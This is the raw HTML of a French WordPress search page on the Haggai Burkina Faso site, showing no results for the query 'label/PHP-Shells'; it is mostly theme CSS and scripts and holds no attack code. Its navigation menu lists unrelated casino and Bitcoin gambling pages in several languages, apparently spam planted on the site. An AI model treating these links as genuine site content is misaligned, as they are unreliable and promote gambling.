.et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
